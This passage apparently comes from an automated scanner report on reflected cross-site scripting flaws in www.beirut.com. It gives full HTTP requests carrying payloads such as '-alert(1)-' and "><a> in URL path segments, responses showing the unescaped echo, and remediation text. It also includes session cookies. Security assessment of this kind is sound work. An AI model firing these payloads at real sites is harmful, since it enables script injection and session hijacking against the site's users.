GET /Recreations9cfec'-alert(1)-'ec6aa3a3888/Yoga-Centers/03053122 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:42:04 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60199
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Recreations9cfec'-alert(1)-'ec6aa3a3888/Yoga-Centers'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2df8d"><a>289183abcef was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Recreations2df8d"><a>289183abcef/Yoga-Centers/03053122 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:35:23 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60188
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Recreations2df8d"><a>289183abcef"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5d847'-alert(1)-'1fe4ea0fb8c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Recreations/Yoga-Centers5d847'-alert(1)-'1fe4ea0fb8c/03053122 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:48:05 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 58020
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Recreations/Yoga-Centers5d847'-alert(1)-'1fe4ea0fb8c'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4bf65'-alert(1)-'772924dfe28 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Restaurants4bf65'-alert(1)-'772924dfe28/Bakeries/6807482759 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:57:05 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60144
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Restaurants4bf65'-alert(1)-'772924dfe28/Bakeries'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d09ec"><a>5ea38197ead was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Restaurantsd09ec"><a>5ea38197ead/Bakeries/6807482759 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:47:23 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60570
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Restaurantsd09ec"><a>5ea38197ead"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b076d'-alert(1)-'dd85d848931 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Restaurants/Bakeriesb076d'-alert(1)-'dd85d848931/6807482759 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:00:01 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61072
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Restaurants/Bakeriesb076d'-alert(1)-'dd85d848931'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7f782"><a>3e05360c623 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Restaurants7f782"><a>3e05360c623/Cafes/318727173 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:38:17 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60274
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Restaurants7f782"><a>3e05360c623"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a80c9'-alert(1)-'cba51ac81f4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Restaurantsa80c9'-alert(1)-'cba51ac81f4/Cafes/318727173 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:48:06 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60178
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Restaurantsa80c9'-alert(1)-'cba51ac81f4/Cafes'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d1ec7'-alert(1)-'e04c5a35b8b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Restaurants/Cafesd1ec7'-alert(1)-'e04c5a35b8b/318727173 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:50:34 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61549
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Restaurants/Cafesd1ec7'-alert(1)-'e04c5a35b8b'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 829cb'-alert(1)-'357f319378e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Restaurants829cb'-alert(1)-'357f319378e/Caterers/7413291663 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:09:00 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60305
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Restaurants829cb'-alert(1)-'357f319378e/Caterers'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a3aa2"><a>dd5ba344a9c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Restaurantsa3aa2"><a>dd5ba344a9c/Caterers/7413291663 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:00:25 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60666
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Restaurantsa3aa2"><a>dd5ba344a9c"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5ca34'-alert(1)-'d89526939fc was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Restaurants/Caterers5ca34'-alert(1)-'d89526939fc/7413291663 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:13:16 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60992
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Restaurants/Caterers5ca34'-alert(1)-'d89526939fc'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 454a7"><a>25a1267588b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Restaurants454a7"><a>25a1267588b/Dining/314749128 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:37:29 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60822
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Restaurants454a7"><a>25a1267588b"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 32920'-alert(1)-'e8c6b429882 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Restaurants32920'-alert(1)-'e8c6b429882/Dining/314749128 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:45:14 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60365
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Restaurants32920'-alert(1)-'e8c6b429882/Dining'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c046a'-alert(1)-'2c4e79b57ff was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Restaurants/Diningc046a'-alert(1)-'2c4e79b57ff/314749128 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:49:34 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 62470
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Restaurants/Diningc046a'-alert(1)-'2c4e79b57ff'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 87bd8"><a>b7211b4e85 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
